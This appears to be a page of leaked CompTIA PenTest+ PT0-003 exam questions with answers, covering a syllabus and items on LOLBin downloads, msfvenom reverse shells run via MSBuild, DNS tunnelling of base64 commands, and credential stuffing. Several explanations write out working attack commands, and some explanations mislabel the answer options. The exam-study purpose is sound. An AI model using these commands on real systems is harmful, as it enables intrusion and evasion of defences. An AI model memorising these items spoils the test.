

Free PDF Quiz CompTIA - High-quality Exam PT0-003 Pass Guide



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CompTIA PT0-003 Exam Syllabus Topics:

Topic	Details
Topic 1	<ul style="list-style-type: none">• Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.
Topic 2	<ul style="list-style-type: none">• Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.

Topic 3	<ul style="list-style-type: none"> • Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.
Topic 4	<ul style="list-style-type: none"> • Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase's responsibilities.
Topic 5	<ul style="list-style-type: none"> • Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.

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CompTIA PenTest+ Exam Sample Questions (Q120-Q125):

NEW QUESTION # 120

A penetration tester needs to use the native binaries on a system in order to download a file from the internet and evade detection. Which of the following tools would the tester most likely use?

- A. cmdkey.exe
- B. certutil.exe
- C. netsh.exe
- D. nc.exe

Answer: B

Explanation:

* Certutil.exe for File Downloads:

* certutil.exe is a native Windows utility primarily used for managing certificates but can also be leveraged to download files from the internet.

* Example command:

```
bash
```

```
Copy code
```

```
certutil.exe
```

```
-urlcache -split -f http://example.com/file.exe file.exe
```

* Its native status helps it evade detection by security tools.

* Why Not Other Options?

* A (netsh.exe): Used for network configuration but not for downloading files.

* C (nc.exe): Netcat is not native to Windows and would need to be introduced to the system.

* D (cmdkey.exe): Used for managing stored credentials, not downloading files.

CompTIA Pentest+ References:

* Domain 3.0 (Attacks and Exploits)

NEW QUESTION # 121

A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following

command:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?

- A. mshta.exe C:\evil.xml
- **B. MSBuild.exe C:\evil.xml**
- C. AppInstaller.exe C:\evil.xml
- D. regsvr32 /s /n /u C:\evil.xml

Answer: B

Explanation:

The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:

Understanding MSBuild.exe:

Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It's commonly used to build .NET applications and can also execute code embedded in project files.

Command Usage:

Command: MSBuild.exe C:\evil.xml

Comparison with Other Commands:

regsvr32 /s /n /u C:\evil.xml: Used to register or unregister DLLs, not suitable for executing C# code.

mshta.exe C:\evil.xml: Used to execute HTML applications (HTA files), not suitable for XML containing C# code.

AppInstaller.exe C:\evil.xml: Used to install AppX packages, not relevant for executing C# code embedded in an XML file.

Using MSBuild.exe is the most appropriate method to execute the payload embedded in the XML file created by msfvenom.

NEW QUESTION # 122

A penetration tester writes the following script, which is designed to hide communication and bypass some restrictions on a client's network:

```
$base64cmd = Resolve-DnsName foo.comptia.org -Type TXT | Select-Object -ExpandProperty Strings
```

```
$decodedcmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64cmd)) Powershell -C
```

```
$decodedcmd Which of the following best describes the technique the tester is applying?
```

- **A. DNS tunneling**
- B. DNS infiltration
- C. DNS trail
- D. DNS poisoning

Answer: A

Explanation:

The script is retrieving base64-encoded commands hidden in DNS TXT records and executing them. This is a technique known as DNS tunneling, which allows covert data transmission using DNS queries/responses - often used to bypass firewalls or exfiltrate data without detection.

From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 9 - Evading Detection and Exploitation Techniques):

"DNS tunneling is a covert communication technique where command-and-control instructions or exfiltrated data are encoded into DNS queries and responses, typically using TXT records." Reference: CompTIA PenTest+ PT0-003 Official Study Guide, Chapter 9

NEW QUESTION # 123

A penetration tester plans to conduct reconnaissance during an engagement using readily available resources. Which of the following resources would most likely identify hardware and software being utilized by the client?

- A. Cached pages
- **B. Job boards**
- C. Protocol scanning
- D. Cryptographic flaws

Answer: B

Explanation:

To conduct reconnaissance and identify hardware and software used by a client, job boards are an effective resource. Companies often list the technologies they use in job postings to attract qualified candidates. These listings can provide valuable insights into the specific hardware and software platforms the client is utilizing.

NEW QUESTION # 124

A penetration tester obtains password dumps associated with the target and identifies strict lockout policies.

The tester does not want to lock out accounts when attempting access. Which of the following techniques should the tester use?

- A. Dictionary attack
- B. Brute-force attack
- C. Credential stuffing
- D. MFA fatigue

Answer: C

Explanation:

To avoid locking out accounts while attempting access, the penetration tester should use credential stuffing.

Explanation:

* Credential Stuffing:

* Definition: An attack method where attackers use a list of known username and password pairs, typically obtained from previous data breaches, to gain unauthorized access to accounts.

* Advantages: Unlike brute-force attacks, credential stuffing uses already known credentials, which reduces the number of attempts per account and minimizes the risk of triggering account lockout mechanisms.

* Tool: Tools like Sentry MBA, Snipr, and others are commonly used for credential stuffing attacks.

* Other Techniques:

* MFA Fatigue: A social engineering tactic to exhaust users into accepting multi-factor authentication requests, not applicable for avoiding lockouts in this context.

* Dictionary Attack: Similar to brute-force but uses a list of likely passwords; still risks lockout due to multiple attempts.

* Brute-force Attack: Systematically attempts all possible password combinations, likely to trigger account lockouts due to high number of failed attempts.

Pentest References:

* Password Attacks: Understanding different types of password attacks and their implications on account security.

* Account Lockout Policies: Awareness of how lockout mechanisms work and strategies to avoid triggering them during penetration tests.

By using credential stuffing, the penetration tester can attempt to gain access using known credentials without triggering account lockout policies, ensuring a stealthier approach to password attacks.

NEW QUESTION # 125

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